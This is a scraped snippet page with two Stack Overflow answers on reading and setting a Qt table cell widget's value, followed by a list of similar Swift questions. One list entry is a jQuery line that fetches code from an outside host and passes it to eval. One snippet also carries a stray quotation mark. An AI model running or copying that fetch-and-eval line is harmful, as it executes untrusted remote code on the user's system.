Cellwidget to setvalue

QWidget* some_cell_widget = myTable->cellWidget(0,1);                            // retrieve widget from cell
QDoubleSpinBox* dbl_spin_box = static_cast<QDoubleSpinBox*>(some_cell_widget);   // cast widget to double spin box
double val = dbl_spin_box->value();                                              // get value from spinbox

Source: stackoverflow.com

Cellwidget to setvalue

//To set the value:
int valueIWant = 5;
ui->tableWidget->cellWidget(0,2)->setProperty("value",valueIWant);"
//And to read the value:
int actualValue = ui->tableWidget->cellWidget(0,2)->property("value").value<int>();

Source: stackoverflow.com

Similar codes

1 vote382 views1 answer
Decimal to Double conversion in Swift
Swift
0 vote377 views1 answer
View controller modal fullscreen programmatically swift 5
Swift
1 vote385 views1 answer
Uicolor from hex swift
Swift
0 vote355 views1 answer
How to present a uiview after an array of cards is empty swift
Swift
1 vote372 views1 answer
Swift open web page
Swift
0 vote360 views1 answer
View will appear
Swift
-1 vote329 views1 answer
Get index from array swift
Swift
0 vote364 views1 answer
Uitextfield get focus swift 5
Swift
0 vote425 views1 answer
Change textview link color swift
Swift
0 vote403 views5 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Swift